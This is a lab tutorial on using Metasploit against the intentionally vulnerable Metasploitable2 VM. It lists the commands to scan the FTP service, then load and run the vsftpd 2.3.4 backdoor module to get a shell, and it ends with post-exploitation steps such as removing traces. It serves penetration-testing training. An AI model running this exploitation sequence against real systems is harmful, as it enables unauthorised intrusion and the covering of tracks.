Skip to content

04. Metasploit Basic Exploitation vsftpd

The Metasploitable2 virtual machine is intentionally vulnerable and commonly used for testing exploits. One such vulnerability involves the vsftpd FTP service. Below are the steps for exploiting it.

Prerequisites

  1. Metasploitable2 VM is running and reachable.

  2. Metasploit Framework is installed and configured.

  3. Target system IP address is known.


Steps for Exploitation

1. Identify FTP Service

Use an auxiliary scanner to verify the FTP service and its version.

Command:

use auxiliary/scanner/ftp/ftp_version
set RHOSTS <target_IP>
set THREADS <number_of_threads>
run

Example:

use auxiliary/scanner/ftp/ftp_version
set RHOSTS 192.168.1.100
set THREADS 5
run

This confirms the target is running vsftpd and identifies the version.


2. Search for Exploit Module

Identify an exploit module for the vsftpd vulnerability.

Command:

search vsftpd

Output Example:

Matching Modules
================

   Name                                      Disclosure Date  Rank       Description
   ----                                      ---------------  ----       -----------
   exploit/unix/ftp/vsftpd_234_backdoor     2011-07-03       excellent  VSFTPD v2.3.4 Backdoor Command Execution

3. Load the Exploit

Load the identified exploit module.

Command:

use exploit/unix/ftp/vsftpd_234_backdoor

4. Configure Module Options

Set the target IP address and other necessary options.

Commands:

set RHOSTS <target_IP>
set RPORT 21

Example:

set RHOSTS 192.168.1.100
set RPORT 21

5. Execute the Exploit

Run the exploit to compromise the target.

Command:

run

Output: If successful, you should get a shell or a backdoor connection to the target system.


Post-Exploitation

  1. Confirm Access:

    • Verify the obtained shell or connection.

    • Execute basic commands like whoami or uname -a.

  2. Document Findings:

    • Record details of the exploit and gathered information.
  3. Clean Up:

    • Close the session and remove traces, if required.

Best Practices and Warnings

  • Only exploit systems you own or have permission to test.

  • Document every step for reproducibility and reporting.

  • Understand the exploit’s behavior to minimize unintended consequences.

Exploiting vsftpd in Metasploitable2 demonstrates the workflow for penetration testing and helps build practical skills in ethical hacking.